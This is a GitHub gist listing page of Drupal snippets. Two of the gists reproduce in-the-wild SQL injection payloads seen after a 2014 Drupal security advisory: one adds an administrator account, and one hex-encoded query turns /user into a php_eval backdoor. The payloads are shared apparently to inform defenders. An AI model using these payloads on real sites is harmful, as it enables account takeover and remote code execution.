Skip to content

Instantly share code, notes, and snippets.

View scor's full-sized avatar

Stephane Corlosquet scor

View GitHub Profile
@scor
scor / gist:4d91321d316a9fd79885
Last active August 29, 2015 14:07
The kind of queries people are throwing at Drupal sites after #drupalsa05. adds a user and grants administrator role.
set @a=(SELECT MAX(uid) FROM users)+1;INSERT INTO users set uid=@a,status=1,name='n0n0x' , pass = '$S$CTo9G7Lx2jmHrpHDdKDR0R8X/q4H9PXo02REYap3z2t8UE3F0DfC';INSERT INTO users_roles set uid=@a,rid=3;;#
@scor
scor / gist:b566c0f4d94c5b012f6b
Created October 17, 2014 07:15
Enable PHP module for arbitrary PHP code execution at /user
TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=0x613a313a7b733a343a22636f6465223b733a36313a223c3f70687020406576616c28406261736536345f6465636f64652840245f524551554553545b383664393963613830633430393736615d29293b203f3e223b7d, access_callback=0x7068705f6576616c WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (0x6d6f64756c65732f7068702f7068702e6d6f64756c65,0x30373132336531663438323335366334313566363834343037613362383732336531306232636262633062386663643632383263343964333763396331616263);#
@scor
scor / field--field-twitter-id.html.twig
Created February 20, 2015 05:36
Rendering a twitter ID as a link using Twig in Drupal 8
<div{{ attributes }}>
{% if not label_hidden %}
<div{{ title_attributes.addClass('field-label') }}>{{ label }}</div>
{% endif %}
<div{{ content_attributes.addClass('field-items') }}>
{% for item in items %}
<div{{ item.attributes.addClass('field-item') }}><a href="https://twitter.com/{{ item.content['#markup']|trim('@') }}">{{ item.content }}</a></div>
{% endfor %}
</div>
</div>
@scor
scor / gist:653fe0869b03ad8d6929
Last active August 29, 2015 14:26
bash alias for code smoke test and PHP linting in a Drupal codebase
alias code-check="find -E . -type f -regex '^.*\.(engine|inc|install|engine|module|php|profile|test|theme|txt|info|rule|view)' | xargs -Ifile bash -c \"php -l file ; (true)\" | grep -v 'No syntax'
find . -type f | xargs -Ifile grep -H '>>>>>>' file| grep -v Binary | grep -v .git/rr-cache"
@scor
scor / 16061_lift.txt
Created December 8, 2017 02:50
This gist contains configuration settings for Acquia Lift which can be set per-environment in your website's settings.php file to protect your production environment from contamination with testing data.
if ($is_ah_env) {
switch ($ah_env) {
case 'prod':
// Acquia Lift Settings
$config['acquia_lift.settings']['credential']['account_name'] = ''; // Customer Account ID
$config['acquia_lift.settings']['credential']['customer_site'] = ''; // Customer Site External ID
$config['acquia_lift.settings']['credential']['site_id'] = ''; // Customer Site External ID
$config['acquia_lift.settings']['credential']['content_origin'] = ''; // Content Hub Origin ID (UUID)
$config['acquia_lift.settings']['advanced']['content_replacement_mode'] = 'trusted'; //